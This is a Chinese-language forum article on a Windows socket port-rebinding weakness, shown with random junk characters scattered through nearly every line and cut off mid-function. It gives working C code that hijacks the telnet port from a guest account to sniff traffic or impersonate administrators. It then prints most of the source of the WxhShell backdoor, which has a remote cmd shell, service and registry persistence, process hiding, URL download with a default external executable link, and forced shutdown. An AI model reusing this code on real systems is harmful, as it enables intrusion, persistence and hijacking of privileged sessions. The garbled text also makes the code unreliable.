在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
K:g:GEDgf s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
'{(/C?T O9tgS@*Tv saddr.sin_family = AF_INET;
bxA1fA; @Xb>GPVe#L saddr.sin_addr.s_addr = htonl(INADDR_ANY);
=ykOh_M C#A\Rfi bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5zBayJh# d$(>=gzBQ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{!9i8T wu2C!gyBo 这意味着什么?意味着可以进行如下的攻击:
ST[+k 2>bV+[@B 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#RA3 T[A qTl/bFD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
U\\nSU ,@'M'S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
xFY<
ns ~1yMw.04V 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
tuiQk=[c bn$}U.m$- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
j |tu|Q ^,M&PP6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&G"r>,HU &RP}w%I1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\1p5$0z f YuM`O #include
{UR&Y #include
VF<C#I #include
BLvI[b|3gn #include
FTg4i\Wp DWORD WINAPI ClientThread(LPVOID lpParam);
,LHQ@/}A C int main()
mzX <! {
l6S6Y WORD wVersionRequested;
&PAgab2$ DWORD ret;
%V CfcM}5I WSADATA wsaData;
1xkU;no BOOL val;
#1C~i}J1 SOCKADDR_IN saddr;
9C{\=?e; SOCKADDR_IN scaddr;
3koXM_4_{) int err;
3oCw(Ff SOCKET s;
<XHS@| SOCKET sc;
M:~/e8Xv int caddsize;
/<s$Am HANDLE mt;
f @cs<x DWORD tid;
I:qfB2tL)O wVersionRequested = MAKEWORD( 2, 2 );
n6a*|rE err = WSAStartup( wVersionRequested, &wsaData );
426)H_wx if ( err != 0 ) {
8zRb)B+ printf("error!WSAStartup failed!\n");
%ycCNS return -1;
:~2An-V }
kH43 T saddr.sin_family = AF_INET;
;Q]j"1c %YaUc{.% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^3-Wxn9& ;^,2
Qs M saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Y)@PGxjz saddr.sin_port = htons(23);
]/+qM)F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u%7a&1c {
hCLXL printf("error!socket failed!\n");
QxGQF| return -1;
p]zYj >e }
47iwb val = TRUE;
#dLp<l) //SO_REUSEADDR选项就是可以实现端口重绑定的
x\Y%/C[Kc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3PonF4 {
$J |oVVct printf("error!setsockopt failed!\n");
Dk'EKT- return -1;
xmDX1sL** }
>t"]gQHtx //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
#&1Y!kbdd //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
X'&$wQ6,K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
I~R<}volu )r2$/QF9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
LC/w".oq? {
a .5s5g)8 ret=GetLastError();
}eX_p6bBw printf("error!bind failed!\n");
W7as=+;X return -1;
+fhyw{ }
k"SmbFn%N0 listen(s,2);
_^RN
C)ol while(1)
y0qE::/H$ {
UZdE^Q[ caddsize = sizeof(scaddr);
9xg_M=72 //接受连接请求
2`* %NJ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
x~GV#c if(sc!=INVALID_SOCKET)
s9A'{F {
er5}=cFZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
=&fBmV if(mt==NULL)
F_~-o,\ {
33kI#45s printf("Thread Creat Failed!\n");
Yf:utCvv break;
Kfj*uzKB }
<LW|m7 }
$Yz &x%Lb CloseHandle(mt);
HHZ!mYr }
kXC.rgal closesocket(s);
bE>3D#V< WSACleanup();
ABV\:u return 0;
,l<-*yMD }
z1+rz% DWORD WINAPI ClientThread(LPVOID lpParam)
1#qCD["8 {
LM'` U-/e$ SOCKET ss = (SOCKET)lpParam;
+29;T0>a SOCKET sc;
T , =ga unsigned char buf[4096];
P&aH6*p1 SOCKADDR_IN saddr;
>*} qGk long num;
BH0rT}) DWORD val;
SEchF"KJQF DWORD ret;
BHmA*3? //如果是隐藏端口应用的话,可以在此处加一些判断
W7A'5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
4Sg!NPuu7& saddr.sin_family = AF_INET;
cM4?Ggn saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+>qBK}` saddr.sin_port = htons(23);
"tIf$z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
savz>E& {
:,q3?l6 printf("error!socket failed!\n");
Q]xW}5
/ return -1;
QBsDO].J< }
w#mnGD val = 100;
sW2LNE if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`^J~^Z7Y- {
%Y Rg1UKY ret = GetLastError();
*Kzs(O return -1;
@@|E1'c7 }
s*CKFEb# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)+t5G>yKK {
:=L[kzX ret = GetLastError();
!P Gow return -1;
H5RHA^p| }
n'*L jp if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
SbnVU[ {
3}:pD]`h printf("error!socket connect failed!\n");
C6"!'6 W closesocket(sc);
_z4rx closesocket(ss);
nv $ return -1;
)Elr8XLw }
L7Oytdc< while(1)
/#G"'U/ {
{t/!a0\HS //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
<M'IRf/D //如果是嗅探内容的话,可以再此处进行内容分析和记录
9_>4~!x` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
g[M@ num = recv(ss,buf,4096,0);
T4!]^_t^ if(num>0)
NuO>zAu send(sc,buf,num,0);
<uTsXv else if(num==0)
3X!~*_iC break;
$Qy(ed num = recv(sc,buf,4096,0);
pO+1?c43 if(num>0)
2FVKgyV send(ss,buf,num,0);
h5F'eur else if(num==0)
}ZmdX^xB break;
Y|VzeJC }
sId5pY! closesocket(ss);
aq5<Ks `r closesocket(sc);
E7eVg*Cvi return 0 ;
ygfqP }
&HXSO,@ FY|x<-f hE6tu' ==========================================================
ewY[vbF CQ( @7 下边附上一个代码,,WXhSHELL
\7j)^ kxn;; ==========================================================
qBNiuV;* `X^e}EGWu #include "stdafx.h"
YqJIp. Z ^w12k2a #include <stdio.h>
fcZOsTj #include <string.h>
`p ?E{k.N #include <windows.h>
(&*F`\ #include <winsock2.h>
'9/kDkt! #include <winsvc.h>
^n2w6U0 #include <urlmon.h>
R$@.{d&:w |Gf{ } #pragma comment (lib, "Ws2_32.lib")
{f&ga #pragma comment (lib, "urlmon.lib")
_uu:)% :> q?s #define MAX_USER 100 // 最大客户端连接数
Y>#c2@^i< #define BUF_SOCK 200 // sock buffer
j d81E #define KEY_BUFF 255 // 输入 buffer
W_
6Jl5] 7}x-({bqy #define REBOOT 0 // 重启
)ED[cYGx #define SHUTDOWN 1 // 关机
PjP%,-@1 >Qx#2x+ #define DEF_PORT 5000 // 监听端口
2>!ykUw^O m5p~>]}fYF #define REG_LEN 16 // 注册表键长度
" /'=gE #define SVC_LEN 80 // NT服务名长度
L,D>E /r%+hS // 从dll定义API
$F-XXBp typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
".0W8= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H\k5B_3OU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>eTlew<5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
CbHNb~ <M7*N. // wxhshell配置信息
j%}Jl struct WSCFG {
xK r,XZu int ws_port; // 监听端口
`SwnKg char ws_passstr[REG_LEN]; // 口令
JgB# EoF int ws_autoins; // 安装标记, 1=yes 0=no
heKI<[8l char ws_regname[REG_LEN]; // 注册表键名
2$o[ char ws_svcname[REG_LEN]; // 服务名
0/ Ht;( char ws_svcdisp[SVC_LEN]; // 服务显示名
'oHR4O* char ws_svcdesc[SVC_LEN]; // 服务描述信息
_Nn!SE char ws_passmsg[SVC_LEN]; // 密码输入提示信息
.;:xx~G_Q int ws_downexe; // 下载执行标记, 1=yes 0=no
:}JZKj!}M char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
JB(;[# '~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
R,\
r{@yrz 0c5_L6_z };
V3o AZ34) 1 ~7_! // default Wxhshell configuration
C#~MR+; struct WSCFG wscfg={DEF_PORT,
oSl>%} "xuhuanlingzhe",
ZYsFd_ 1,
+o "Wxhshell",
vOK;l0% "Wxhshell",
Xu_<4 "WxhShell Service",
S2R[vB4). "Wrsky Windows CmdShell Service",
<n\.S "Please Input Your Password: ",
`g1Oon_ 1,
]1&9~TL "
http://www.wrsky.com/wxhshell.exe",
~{+{p cO} "Wxhshell.exe"
I5L7BTe };
#I?iR3u
n{t',r50 // 消息定义模块
'| }}og char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_o.Z`] char *msg_ws_prompt="\n\r? for help\n\r#>";
4iz&"~&1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]K7 64} char *msg_ws_ext="\n\rExit.";
/Xz4q!Ul char *msg_ws_end="\n\rQuit.";
=b7&(x char *msg_ws_boot="\n\rReboot...";
dNQSbp char *msg_ws_poff="\n\rShutdown...";
vy@Lu
cB char *msg_ws_down="\n\rSave to ";
pD# "8h doc char *msg_ws_err="\n\rErr!";
XX-T", char *msg_ws_ok="\n\rOK!";
.e"Qv*[^ (g m^o{ char ExeFile[MAX_PATH];
X^Y9T`mQ} int nUser = 0;
pCmJY HANDLE handles[MAX_USER];
kMl< int OsIsNt;
$ t $f1? =.E(p)fz SERVICE_STATUS serviceStatus;
ikhX5
&e SERVICE_STATUS_HANDLE hServiceStatusHandle;
2NknC>9(\ V@:=}*E // 函数声明
^qqHq int Install(void);
?Q)Z..7 int Uninstall(void);
winJ@IY W int DownloadFile(char *sURL, SOCKET wsh);
-mJ&N int Boot(int flag);
?0mJBA void HideProc(void);
0lCd,a2: int GetOsVer(void);
RuNH
(>Eb int Wxhshell(SOCKET wsl);
ennz/' void TalkWithClient(void *cs);
t4_K>Mj+d int CmdShell(SOCKET sock);
(u&yb!` int StartFromService(void);
0NtsFPO int StartWxhshell(LPSTR lpCmdLine);
]&U| d Noxz kpMF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&t/<yq}{ VOID WINAPI NTServiceHandler( DWORD fdwControl );
9yo[T(8 %`QsX {?, // 数据结构和表定义
;lH,bX~5 SERVICE_TABLE_ENTRY DispatchTable[] =
,R}KcZG) {
"IG$VjgcB {wscfg.ws_svcname, NTServiceMain},
wmE,k1G {NULL, NULL}
R0mT/h2 };
\~t~R q ' 1'1T5x~ // 自我安装
9!HMQ int Install(void)
.eNwC .8i {
s66XdM char svExeFile[MAX_PATH];
~cBc&u:" HKEY key;
sK-|xU. strcpy(svExeFile,ExeFile);
jL+}F /~r 'uACoME@ // 如果是win9x系统,修改注册表设为自启动
hav?mnVJ if(!OsIsNt) {
N#['fg' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~_db<!a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P .4b+9Tx RegCloseKey(key);
L*01l"5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
l;}7A,u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,beR:60) RegCloseKey(key);
jfPJ5]Z return 0;
s<_LcQbt{ }
[RFK-E }
$ t# ,'M }
XjZao<?u else {
BMWeD B"8JFf}"q // 如果是NT以上系统,安装为系统服务
11<@++,i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
L+rySP if (schSCManager!=0)
P9i9<pR {
vDeG20.?Z SC_HANDLE schService = CreateService
sQ:VrXwP (
y7)[cvB schSCManager,
hf^`at wscfg.ws_svcname,
RrU~"P1C wscfg.ws_svcdisp,
k\&IFSp SERVICE_ALL_ACCESS,
<<On*#80w
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
0rJ\e SERVICE_AUTO_START,
qVD!/;l SERVICE_ERROR_NORMAL,
@VC9gdO/ svExeFile,
Qv0>Pf NULL,
@52=3 NULL,
/N[o [q NULL,
RQS:h]?:l NULL,
m)|.:sj NULL
ZYR,8 y );
Hv gK_' if (schService!=0)
lDPRn~[#\ {
hW!@$Ph CloseServiceHandle(schService);
#D LT-G0 CloseServiceHandle(schSCManager);
h[je _^5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
B,vHn2W
strcat(svExeFile,wscfg.ws_svcname);
yp2 'KES> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
TQ\wHJ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
fFZ`rPb RegCloseKey(key);
,gL)~6!A return 0;
N 1f~K.e\ }
.H(}[eG_ }
oF b mz* CloseServiceHandle(schSCManager);
1Q&WoJLfR }
`b#nC[b6|v }
X:SzkkVl7 18p3 return 1;
U??f< }
4`! ]i,Mq // 自我卸载
OU.9 #|q U int Uninstall(void)
1|~#028 {
5lHN8k=mm2 HKEY key;
snTJe[^d fv j5[Q if(!OsIsNt) {
dy6F+V\DG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U8QR*"GmT RegDeleteValue(key,wscfg.ws_regname);
M ,_^hm7 RegCloseKey(key);
j^$3vj5E[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
x#F1@r8R RegDeleteValue(key,wscfg.ws_regname);
xH`j7qK. RegCloseKey(key);
$~G0#JL return 0;
h*\TCl) }
^=izqh5S }
3<)@ll }
$E`iqRB else {
Y6f+__O 7<QYT+6xV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
HzG~I8o(d if (schSCManager!=0)
qD$GKN. {
t.>te'DK/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
n$m]58w if (schService!=0)
{*<O"|v {
@wB'3q}( if(DeleteService(schService)!=0) {
d)hzi CloseServiceHandle(schService);
6Y>,e;R CloseServiceHandle(schSCManager);
y\|-O<8O return 0;
lNA'M& }
EN-8uY. CloseServiceHandle(schService);
1fO2)$Y }
fUp|3bBE CloseServiceHandle(schSCManager);
}/7.+yD }
CFkW@\] }
fbHWBb ]U#[\ Z return 1;
"S B%02 }
/]k ,,& *2"bG1` // 从指定url下载文件
&3 XFgHo int DownloadFile(char *sURL, SOCKET wsh)
^T}}4I_Y {
oA!5dpNhU HRESULT hr;
s.p1L char seps[]= "/";
EvSnZB1 y char *token;
C>JekPeM char *file;
x
tYV" char myURL[MAX_PATH];
$K6?(x_ char myFILE[MAX_PATH];
#!8^!}nFO i)@U.-*5m strcpy(myURL,sURL);
<@U. token=strtok(myURL,seps);
\N`fWh8& while(token!=NULL)
MAwC\7n+X {
9*-pden
l file=token;
M\\e e3Ih token=strtok(NULL,seps);
"UhK]i*@l }
=qV4Sje|q Wk\mgGn+ GetCurrentDirectory(MAX_PATH,myFILE);
`Ct'/h{
strcat(myFILE, "\\");
%?]{U($? strcat(myFILE, file);
"o^bN 9= send(wsh,myFILE,strlen(myFILE),0);
nl)_`8= send(wsh,"...",3,0);
"q9~C hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
WIEx
'{ if(hr==S_OK)
a%MzNH return 0;
@O}IrC!bf else
]HJ{dcF return 1;
vDK:v$g ;Ch+X$m9 }
=2.tu*!C B91S
h` // 系统电源模块
Pp1zW3+Q int Boot(int flag)
1EC -e|M. {
`uIx/.L HANDLE hToken;
Qfkh0DX
B TOKEN_PRIVILEGES tkp;
TZ&4 n=<NFkeX if(OsIsNt) {
|dl0B26x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"t(1tWO1o LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!F0rd9 tkp.PrivilegeCount = 1;
+ AcKB82 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?o(ZTlT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Aj8l%'h[ if(flag==REBOOT) {
njy~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>zPO>.?h7T return 0;
*<`7|BH 3 }
TRs[ ~K)n else {
LPq*ZZK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?r
-\%_J_( return 0;
`DgaO-Dg3 }
#Acon7Rp }
(TT3(|v else {
:DOr!PNA if(flag==REBOOT) {
936Ff*%(l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4c5^7";P return 0;
avu*>SB }
itqQ)\W else {
s
jL*I if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
763E 6,7 return 0;
NqiB8hZ~ }
JwN}Jm }
#d}0}7ue nuf@}W>y return 1;
Q `e~MD }
>:w?qEaE jgk{'_ j // win9x进程隐藏模块
tyc8{t#Z void HideProc(void)
WW@JVZxK {
MxM](ew~7 dIoF ~8V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
l?3vNa FeR if ( hKernel != NULL )
m.1LxM$8 {
5xh!f%6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@Ufa-h5"( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=3h+=l[ FreeLibrary(hKernel);
!7A"vTs }
:.C+?$iuX ,|e} Y
[ return;
??%)|nj. }
U>/<6Wd IY];Ss&i // 获取操作系统版本
bin6i2b int GetOsVer(void)
]*bAF^8i {
GwgFi@itN OSVERSIONINFO winfo;
k-{yu8*'; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2-B6IPeI GetVersionEx(&winfo);
9uA,
+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Jy]FrSm^ return 1;
8!Wfd)4=,F else
=jJ H^Y2 return 0;
9T8|y]0F }
;): 8yBMk L_tjcfVo // 客户端句柄模块
Ty`-r5 int Wxhshell(SOCKET wsl)
>pgQb9
T+_ {
"sFW~Y SOCKET wsh;
e{v,x1Y_z( struct sockaddr_in client;
L@7Qs6G2u DWORD myID;
pwa.q "V: while(nUser<MAX_USER)
v*&Uk'4E {
Vh 2Bz int nSize=sizeof(client);
hmc\|IF` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
/6Y0q9 if(wsh==INVALID_SOCKET) return 1;
R
^HohB }BA9Ka#% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
CkRyzF if(handles[nUser]==0)
gsnP!2cR closesocket(wsh);
=hJfL}&O3 else
+2-
qlU nUser++;
6kP7 }
&foD& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
}$^]dn@ %p<$|' return 0;
CT|z[^ }
_GE=kw;: #]?tY}~ // 关闭 socket
smQ4CLJ void CloseIt(SOCKET wsh)
>NJjS8f5 {
2K3MAd{ closesocket(wsh);
EY
So=
nUser--;
BTOA &Ag ExitThread(0);
0Xp
nbB~~I }
uK"^*NEC'; - oU@D // 客户端请求句柄
Ynvj; void TalkWithClient(void *cs)
[6O04"6K {
@XeEpDn] DNmb[ SOCKET wsh=(SOCKET)cs;
1Wv{xML" char pwd[SVC_LEN];
#]@9qPyn char cmd[KEY_BUFF];
;?0_Q3IML char chr[1];
k69kv9v@J int i,j;
~D*b3K8X <'W=]IAV while (nUser < MAX_USER) {
ldK>HxM%Z [w,(EE if(wscfg.ws_passstr) {
+yGY785b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p=2zS. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=D{B}=D\IM //ZeroMemory(pwd,KEY_BUFF);
!IN@i:m i=0;
DUqJ y*F( while(i<SVC_LEN) {
w
nWgy4: oE$hqd s // 设置超时
AU/#b(mI fd_set FdRead;
C9o$9 l+B struct timeval TimeOut;
Jff 79)f FD_ZERO(&FdRead);
4ffU;6~l' FD_SET(wsh,&FdRead);
` ovgWv TimeOut.tv_sec=8;
K|US~Hgv TimeOut.tv_usec=0;
5!tb$p#z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
sA3UeTf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
mqdOu{kQ AfN&n= d K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
F,Q?s9s pwd
=chr[0]; /oFc03d
if(chr[0]==0xd || chr[0]==0xa) { J,RDTXqn
pwd=0; cI3 y
break; Vd21,~^>g
} -]/7hN*v
i++; kymn)Ea
}
aV<^IxE;
xHHV=M2l(s
// 如果是非法用户,关闭 socket &-=K:;x
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "NKf0F
} U~wjR"='
x)3~il5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j AQU~Ol_
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C-Ig_Nc
La9r
while(1) { eHUg-\dy
4#_$@ r
ZeroMemory(cmd,KEY_BUFF); R5~gH6K|
7D
// 自动支持客户端 telnet标准
#I;D
j=0; qcYNtEs*c
while(j<KEY_BUFF) { y+A{Y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tfA}`*$s
cmd[j]=chr[0]; c yP,[?N
if(chr[0]==0xa || chr[0]==0xd) { H'Ln
P>@n#
cmd[j]=0; 8bt53ta
break; ;T>+,
} 9#Bx]wy
j++; ;gUXvx~~r
} x/xb1"
srK53vKMHW
// 下载文件 'y.JcS!|
if(strstr(cmd,"http://")) { ;\x~ '@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); wd wp9 r
if(DownloadFile(cmd,wsh)) L7}i
q0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nVXg,Jl
else :Jk33 N4y0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tFiR!f)
} 3{e'YD~hP
else { iX%n0i
> ws!5q
switch(cmd[0]) { @cIgxp
LWD#a~
// 帮助 2d 8=h6
case '?': { 6{.J:S9n
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !R6ApB4ZI
break; _f|/*.
@Q
} ,#d[ad<
// 安装 `eC+% O
case 'i': { ;Xu22fKh
if(Install()) ?}8IQxU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); # $~ oe"
else cIb4-TeV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M|8
3HTJ
break; 5)`h0TK
} ('4wXD]C
// 卸载 h55>{)(E
case 'r': { MwAJ(
if(Uninstall()) 8teJ*sz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .YR8v1Cp
else 'I v_mig
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6,+nRiZ
break; B |&F%P0:
} a$$ Wt<&Y
// 显示 wxhshell 所在路径 QPs:R hV7
case 'p': { 5g>wV
char svExeFile[MAX_PATH]; CT p!di|
strcpy(svExeFile,"\n\r"); 7$7n71o
strcat(svExeFile,ExeFile); H\#:,s {1
send(wsh,svExeFile,strlen(svExeFile),0); :Q7mV%%
break; X;VQEDMPU
} OH6n^WKY
// 重启 .6m_>Y6
case 'b': { [zh"x#AyI
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8+&JQ"UaB
if(Boot(REBOOT)) Hb!6ZEmN%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8TPN#"
else { zCV7%,H~
closesocket(wsh); !re1EL
ExitThread(0); `!i-#~n
} [/$N!2'5
break;
RJ}#)cT
} X;!~<~@Y
// 关机 bfdVED
case 'd': { ?WHy0x20
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #epy%>
if(Boot(SHUTDOWN)) p`P~i&_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pbLGe'
else { d~Mg
vh'
closesocket(wsh); i_ QcC
ExitThread(0); BJ5}GX!
} BQ#L+9%
break; m@\ZHbq
} @Y-TOCadT
// 获取shell 0^&!6R
case 's': { 2|{V,!/cvG
CmdShell(wsh); l r~gG3
closesocket(wsh); N wtg%;
ExitThread(0); `@XehSQ
break; Wi$dZOcSJ
} cj
g.lzYH
// 退出 .Dw,"VHP
case 'x': { ~xDw*AC-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c-8!#~M(
CloseIt(wsh); z<&m*0WYA
break; Lh ap4:
} /!T> b:0
// 离开 R#eg^7HfX
case 'q': { CDdkoajBa
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -^SA8y
closesocket(wsh); |/T43ADW
WSACleanup(); ?KP}#>Ba@
exit(1);
>|*yh~
break; Y7SacRO
} CdZ BG
} v\%G|8+]
} ?WFh',`:
|vu>;*K
// 提示信息 i9m*g*"2
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b$-e\XB!
} YI@Fhr
&NU
} =SBBvnPLI
yPgmg@G@/
return; ir[jCea,
} ,Z~;U
hfrnxeM#~
// shell模块句柄 TH?9< C-C
int CmdShell(SOCKET sock) +sZUJ
{ = yXs?y"
STARTUPINFO si; ;t(f1rPyE
ZeroMemory(&si,sizeof(si)); qf8[!5GM
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S$[k Q|Am
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {{!Y]\2S
PROCESS_INFORMATION ProcessInfo; rU2iy"L
char cmdline[]="cmd"; kWW w<cA
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F
L=,YP
return 0; =6T
4>rP
} Cifd21v4
I%lE;'x
// 自身启动模式 -]S.<8<$
int StartFromService(void) G>z,#Xt
{ ,Em$ !n
typedef struct %b}gDWs
{ _*6v|Ed?
DWORD ExitStatus; k\7:{y@,
DWORD PebBaseAddress; XDz5b.,
DWORD AffinityMask; ^^Jnv{)
DWORD BasePriority; EKZVF`L
ULONG UniqueProcessId; A6"Hk0Hf
ULONG InheritedFromUniqueProcessId; 23ze/;6%A
} PROCESS_BASIC_INFORMATION; f3tv3>p
*fc-gAj
PROCNTQSIP NtQueryInformationProcess; c&'JmKV>&
Of[;Qn
